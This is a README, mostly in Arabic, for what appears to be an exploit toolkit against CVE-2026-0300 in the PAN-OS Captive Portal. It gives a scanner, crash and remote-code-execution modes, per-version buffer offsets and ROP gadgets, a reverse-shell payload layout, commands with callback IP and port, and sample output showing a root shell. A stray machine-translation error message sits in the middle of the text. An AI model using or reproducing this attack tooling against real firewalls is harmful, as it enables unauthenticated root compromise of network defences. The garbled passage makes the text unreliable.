
Palo Alto - CVE-2026-0300 exploit
خطيرة (CVSS 9.3) — تنفيذ كود عن بُعد بدون مصادقة في خدمة Captive Portal لنظام PAN-OS من Palo Alto Networks
تعد CVE-2026-0300 ثغرة خطيرة لتجاوز سعة المخزن المؤقت في خدمة بوابة مصادقة هوية المستخدم (المعروفة أيضًا باسم Captive Portal) في برنامج PAN-OS من Palo Alto Networks. يمكن لمهاجم غير مصادق استغلال هذه الثغرة بإرسال حزم مصممة بعناية لتنفيذ كود عشوائي بصلاحيات الجذر (root) على جدران الحماية من سلسلتي PA-Series وVM-Series.
يحتوي هذا المستودع على مجموعة أدوات استغلال لإثبات المفهوم (PoC) تتضمن:
تسمح ثغرة تجاوز سعة المخزن المؤقت في خدمة بوابة مصادقة هوية المستخدم في برنامج PAN-OS لمهاجم غير مصادق بتنفيذ كود عشوائي بصلاحيات الجذر على جدار الحماية عن طريق إرسال حزم مصممة بعناية. تستخدم خدمة HTTP في Captive Portal مخازن مؤقتة ثابتة الحجم على المكدس لتحليل ترويسات HTTP، ويمكن تجاوزها عبر قيم ترويسة ضخمة بشكل مفرط (Cookie أو User-Agent أو URI أو نص POST).
يجب أن يتحقق كل من الشرطين التاليين ليكون الهدف معرضًا للثغرة:
غير المتأثرة: Prisma Access وCloud NGFW وأجهزة Panorama.
┌─────────────────────────────────────────────────────────────────────┐ │ CVE-2026-0300 Exploit Toolkit │ ├─────────────────────────────────────────────────────────────────────┤ │ │ │ ┌────────────┐ ┌─────────────────┐ ┌────────────────────┐ │ │ │ scan.py │────▶│ HTTP Fingerprint│ │ payload_gen.py │ │ │ │ Scanner │ │ + Version Check │ │ │ │ │ └────────────┘ └─────────────────┘ │ ┌──────────────┐ │ │ │ │ │ │ Version │ │ │ │ │ Reports: │ │ Offsets │ │ │ │ │ • Portal detected? │ │ (10.2/11.1/ │ │ │ │ │ • PAN-OS version │ │ 11.2/12.1) │ │ │ │ │ • Vulnerable? │ └──────────────┘ │ │ │ ▼ │ ┌──────────────┐ │ │ │ ┌────────────┐ ┌─────────────────┐ │ │ Shellcode │ │ │ │ │ exploit.py │────▶│ Raw Socket │ │ │ Generator │ │ │ │ │ Exploit │ │ HTTP Delivery │ │ │ (x86_64 rev │ │ │ │ └────────────┘ └─────────────────┘ │ │ shell) │ │ │ │ │ │ └──────────────┘ │ │ │ │ ┌──────────────────────┐ │ ┌──────────────┐ │ │ │ ├─▶│ MODE: detect │ │ │ ROP Chain │ │ │ │ │ │ Safe, non-intrusive │ │ │ (jmp rsp) │ │ │ │ │ └──────────────────────┘ │ └──────────────┘ │ │ │ │ ┌──────────────────────┐ │ ┌──────────────┐ │ │ │ ├─▶│ MODE: crash │ │ │ HTTP Request │ │ │ │ │ │ DoS validation │ │ │ Builder │ │ │ │ │ └──────────────────────┘ │ └──────────────┘ │ │ │ │ ┌──────────────────────┐ └────────────────────┘ │ │ └─▶│ MODE: rce │ │ │ │ Reverse shell │ ┌──────────────────────┐ │ │ └──────────────────────┘ │ ReverseShellListener │ │ │ │ │ (callback receiver) │ │ │ ▼ └──────────────────────┘ │ │ ┌──────────────────┐ │ │ │ Target Firewall │ │ │ │ PAN-OS Captive │ │ │ │ Portal Service │ │ │ └──────────────────┘ │ └─────────────────────────────────────────────────────────────────────┘
### تدفق الماسح```
┌─────────────┐
│ Start Scan │
└──────┬──────┘
│
▼
┌──────────────────┐ No ┌─────────────┐
│ Target reachable?│──────────▶│ Skip port │
└──────┬───────────┘ └─────────────┘
│ Yes
▼
┌──────────────────┐
│ Send HTTP GET │
│ to common ports │
│ (443,80,8080, │
│ 8443,8843) │
└──────┬───────────┘
│
▼
┌──────────────────┐ No ┌─────────────┐
│ Captive Portal │──────────▶│ Not exposed │
│ fingerprint? │ └─────────────┘
│ (login.esp, │
│ User-ID, PA-, │
│ PAN-OS, etc.) │
└──────┬───────────┘
│ Yes
▼
┌──────────────────┐
│ Extract PAN-OS │
│ version from │
│ Server header / │
│ response body │
└──────┬───────────┘
│
▼
┌──────────────────┐ No ┌─────────────┐
│ Version in │──────────▶│ Not │
│ vulnerable │ │ vulnerable │
│ range? │ └─────────────┘
└──────┬───────────┘
│ Yes
▼
┌──────────────────┐
│ Report: │
│ • VULNERABLE │
│ • Version │
│ • Matched ranges │
│ • SSL cert info │
└──────────────────┘
┌──────────────────────────────────────────────────────────────────┐ │ EXPLOIT EXECUTION FLOW │ │ │ │ 1. Generate Payload │ │ ┌──────────────────────────────────────────────────────────┐ │ │ │ [Padding to offset] [Saved FP] [ROP: jmp rsp] │ │ │ │ [NOP sled (128B)] [Shellcode (184B rev shell)] │ │ │ └──────────────────────────────────────────────────────────┘ │ │ │ │ │ 2. Embed in HTTP Header ▼ │ │ ┌──────────────────────────────────────────────────────────┐ │ │ │ GET / HTTP/1.1 │ │ │ │ Host: target:443 │ │ │ │ Cookie: │ │ │ │ Connection: close │ │ │ └──────────────────────────────────────────────────────────┘ │ │ │ │ │ 3. Start Listener ▼ │ │ ┌──────────────────┐ │ │ │ Listener binds │ ← Must start BEFORE sending payload │ │ │ on callback │ │ │ │ IP:port │ │ │ └──────────────────┘ │ │ │ │ │ 4. Send via SSL/TLS ▼ │ │ ┌──────────────────┐ │ │ │ Raw socket │ → Target Captive Portal service │ │ │ sends request │ │ │ └──────────────────┘ │ │ │ │ │ 5. Buffer Overflow ▼ │ │ ┌──────────────────────────────────────────────────────────┐ │ │ │ Portal parses Cookie header into fixed-size stack buffer│ │ │ │ Buffer overflows → overwrites saved FP + return address │ │ │ │ Return address → ROP gadget (jmp rsp) │ │ │ └──────────────────────────────────────────────────────────┘ │ │ │ │ │ 6. Code Execution ▼ │ │ ┌──────────────────────────────────────────────────────────┐ │ │ │ jmp rsp → NOP sled → shellcode executes │ │ │ │ socket() → connect(attacker_ip, port) → dup2() → │ │ │ │ execve("/bin/sh") │ │ │ └──────────────────────────────────────────────────────────┘ │ │ │ │ │ 7. Reverse Shell ▼ │ │ ┌──────────────────┐ │ │ │ Listener accepts│ → Attacker has root shell on firewall │ │ │ callback │ │ │ └──────────────────┘ │ └──────────────────────────────────────────────────────────────────┘
---
## هيكل المشروع```
POC-CVE-2026-0300-exploit/
├── payload_gen.py # Payload generation (shellcode, ROP, HTTP request builder)
├── scan.py # Vulnerability scanner (detect Captive Portal + version)
├── exploit.py # Exploit orchestrator (detect/crash/rce modes)
├── requirements.txt # Python dependencies
└── README.md # This file
git clone [email protected]:sam00/POC-CVE-2026-0300-exploit.git cd POC-CVE-2026-0300-exploit
pip3 install -r requirements.txt
**المتطلبات**: Python 3.8+، المكتبة القياسية فقط للوظائف الأساسية. `requests` اختياري.
---
## استخدام الماسح الضوئي — خطوة بخطوة
يقوم الماسح الضوئي بإجراء فحوصات آمنة وغير تدخّلية لتحديد الأهداف المعرّضة للخطر في PAN-OS Captive Portal.
### الخطوة 1: فحص هدف واحد```bash
python3 scan.py --target 192.168.1.1
الماسح الضوئي سوف:
python3 scan.py --target 192.168.1.1 --port 443
### الخطوة 3: مسح أهداف متعددة من ملف
أنشئ ملفًا `targets.txt` مع هدف واحد في كل سطر:```
192.168.1.1
10.0.0.5
firewall.example.com
# Comments are ignored
لم يتم تضمين أي محتوى مصدر في رسالتك. لا يوجد نص لترجمته. يرجى إرسال مقطع 17 من المستند المطلوب ترجمته.```bash python3 scan.py --targets targets.txt
### الخطوة 4: حفظ النتائج بصيغة JSON```bash
python3 scan.py --target 192.168.1.1 --json scan_results.json
Target: 192.168.1.1 Ports: 443, 80, 8080, 8443, 8843 Time: 2026-08-06T12:00:00+00:00 Portal: DETECTED Status: VULNERABLE
### ما يكتشفه الماسح
| المؤشر | الطريقة |
|--------|---------|
| تعرض Captive Portal | مطابقة بصمة HTTP (login.esp، User-ID، PA-، أنماط PAN-OS) |
| إصدار PAN-OS | تحليل ترويسة الخادم، استخراج regex من نص الاستجابة |
| الإصدار القابل للاستغلال | المقارنة مع نطاقات الإصدارات المتأثرة بـ CVE-2026-0300 |
| شهادة SSL | موضوع الشهادة/الجهة المُصدِّرة لتحديد الهدف |
---
## استخدام الاستغلال — خطوة بخطوة
يدعم الاستغلال ثلاثة أوضاع ذات كثافة متزايدة.
### الوضع 1: الكشف (آمن، غير تدخلي)
يرسل ترويسة كبيرة الحجم إلى حد معتدل ويقارن الاستجابة بطلب عادي. لا يتسبب في تعطل الخدمة.```bash
python3 exploit.py --target 192.168.1.1 --mode detect
ما يفعله:
يرسل حمولة تجاوز سعة المخزن المؤقت مع عنوان إرجاع غير صالح (0x41414141) لتعطيل خدمة Captive Portal.```bash python3 exploit.py --target 192.168.1.1 --mode crash --version 11.2.7
**ما يفعله**:
- يولّد حمولة تجاوز خاصة بالإصدار
- يكتب فوق عنوان العودة بالقيمة `0x4141414141414141`
- يرسلها عبر ناقل التجاوز المختار (الافتراضي: ترويسة Cookie)
- يتحقق من تعطل الخدمة بطلب متابعة
- يبلغ إذا كانت الخدمة متوقفة بعد الحمولة
**الخيارات**:
- `--vector cookie|ua|uri|post` — اختيار ناقل التجاوز (الافتراضي: cookie)
- `--http` — استخدام HTTP بدلاً من HTTPS
### الوضع 3: RCE كامل (قشرة عكسية)
إرسال تجاوز سعة المخزن المؤقت مع حمولة قشرة عكسية. يبدأ مستمعًا لاستقبال رد الاتصال.```bash
python3 exploit.py --target 192.168.1.1 --mode rce \
--version 11.2.7 \
--callback-ip 10.0.0.1 \
--callback-port 4444
ما يفعله:
الوسائط المطلوبة:
--version — إصدار PAN-OS المستهدف (يحدد إزاحة المخزن المؤقت وأداة ROP)--callback-ip — عنوان IP الخاص بك (يجب أن يكون قابلاً للوصول من الهدف)--callback-port — منفذ استدعاء الصدفة العكسية (الافتراضي: 4444)الوسائط الاختيارية:
--vector cookie|ua|uri|post — متجه الفائض (الافتراضي: cookie)--nop-sled 128 — حجم منزلق NOP بالبايت (الافتراضي: 128)--timeout 30 — مهلة الاتصال والمستمع بالثواني--http — استخدام HTTP بدلاً من HTTPS--json report.json — حفظ تقرير الاستغلال بصيغة JSON[] RCE mode — targeting 192.168.1.1:443 (PAN-OS 11.2.7, vector: cookie) [] Callback: 10.0.0.1:4444 [] Payload generated: Vector: cookie Offset: 3072 bytes to RIP Padding: 3072 bytes ROP chain: 8 bytes NOP sled: 128 bytes Shellcode: 184 bytes Total: 3392 bytes SHA256: a1b2c3d4... [] HTTP request built: 3475 bytes [] Starting listener on 10.0.0.1:4444... [] Sending exploit payload... [*] Payload sent. Waiting for callback (timeout: 30s)... [+] REVERSE SHELL RECEIVED from 192.168.1.1!
### الإصدارات والمتجهات المدعومة
**الإصدارات** (مع إزاحات المخزن المؤقت الخاصة بكل إصدار):
| الإصدار | إزاحة المخزن المؤقت | أداة ROP | المتجه الافتراضي |
|---------|--------------|------------|----------------|
| 10.2.7 | 2048 | jmp rsp | cookie |
| 10.2.10 | 2048 | jmp rsp | cookie |
| 10.2.13 | 2048 | jmp rsp | cookie |
| 10.2.16 | 2048 | jmp rsp | cookie |
| 10.2.18 | 2048 | jmp rsp | cookie |
| 11.1.0 | 1024 | jmp rsp | cookie |
| 11.1.4 | 1024 | jmp rsp | ua |
| 11.1.6 | 1280 | jmp rsp | ua |
| 11.1.7 | 1280 | jmp rsp | ua |
| 11.1.10 | 1280 | jmp rsp | ua |
| 11.1.13 | 1280 | jmp rsp | ua |
| 11.2.0 | 3072 | jmp rsp | cookie |
| 11.2.4 | 3072 | jmp rsp | cookie |
| 11.2.7 | 3072 | jmp rsp | cookie |
| 11.2.10 | 3072 | jmp rsp | cookie |
| 12.1.0 | 4096 | jmp rsp | post |
| 12.1.4 | 4096 | jmp rsp | post |
**المتجهات**:
| المتجه | الترويسة/الموقع | الوصف |
|--------|----------------|-------------|
| `cookie` | ترويسة Cookie | تجاوز عبر قيمة Cookie كبيرة الحجم |
| `ua` | ترويسة User-Agent | تجاوز عبر قيمة User-Agent كبيرة الحجم |
| `uri` | مسار URI للطلب | تجاوز عبر مسار URI كبير الحجم |
| `post` | جسم POST | تجاوز عبر بيانات نموذج POST كبيرة الحجم |
---
## تصميم الحمولة
### تخطيط تجاوز سعة المخزن المؤقت```
┌─────────────────────────────────────────────────────────────────┐
│ HTTP Header Value (Cookie / User-Agent / URI / POST body) │
├──────────┬──────────┬──────────┬──────────┬────────────────────┤
│ Padding │ Saved │ ROP │ NOP │ Shellcode │
│ (to │ Frame │ Gadget │ Sled │ (reverse shell) │
│ offset) │ Pointer │ (jmp │ (\x90 │ │
│ │ (8 B) │ rsp) │ * N) │ │
└──────────┴──────────┴──────────┴──────────┴────────────────────┘
↑ ↑
Buffer overflow Return address overwritten
overwrites here with jmp rsp gadget
يستخدم هذا الاستغلال شيلكود Linux x86_64 مستقل الموقع (position-independent) يقوم بـ:
socket(AF_INET, SOCK_STREAM, 0))connect())dup2())execve("/bin/sh", NULL, NULL))إجمالي حجم الشيلكود: ~184 بايت، يحتوي على تعليمات syscall (\x0f\x05).
تم توفير هذه الأداة لأغراض اختبار الأمان المصرَّح به والتعليم فقط. استخدمها فقط ضد الأنظمة التي تملكها أو لديك إذن كتابي صريح لاختبارها. الاستخدام غير المصرَّح به ضد أنظمة الإنتاج غير قانوني وقد ينتهك قوانين الاحتيال وإساءة استخدام الحواسيب.
لا يتحمل المؤلفون أي مسؤولية عن إساءة استخدام هذه الأداة. التزم دائمًا بممارسات الإفصاح المسؤول وامتثل للقوانين واللوائح المعمول بها.
| الحقل | القيمة |
|---|
| معرّف CVE | CVE-2026-0300 |
| الخطورة | حرجة |
| CVSS 4.0 | 9.3 (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H) |
| CWE | CWE-787: كتابة خارج الحدود |
| CAPEC | CAPEC-100: تجاوز المخازن المؤقتة |
| الأثر | تنفيذ كود عن بُعد بدون مصادقة (بصلاحيات الجذر) |
| حالة الاستغلال | لوحظ استغلال محدود في البيئات الحقيقية |
| فرع PAN-OS | الإصدارات المعرضة | الإصدار المُصلَح |
|---|
| 10.2 | 10.2.7, 10.2.10, 10.2.13, 10.2.16, 10.2.18 | 10.2.7-h34+ |
| 11.1 | 11.1.0–11.1.14 | 11.1.15+ |
| 11.2 | 11.2.0–11.2.11 | 11.2.12+ |
| 12.1 | 12.1.0–12.1.6 | 12.1.7+ |